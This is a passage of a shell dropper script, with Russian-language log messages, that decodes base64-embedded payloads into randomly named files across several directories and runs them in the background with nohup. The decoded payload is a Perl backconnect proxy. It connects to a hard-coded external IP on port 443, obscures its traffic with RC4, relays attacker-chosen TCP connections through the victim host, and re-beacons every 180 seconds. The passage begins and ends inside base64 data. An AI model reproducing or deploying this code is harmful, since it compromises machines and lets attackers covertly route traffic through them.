b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #44 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #44 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 45 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh 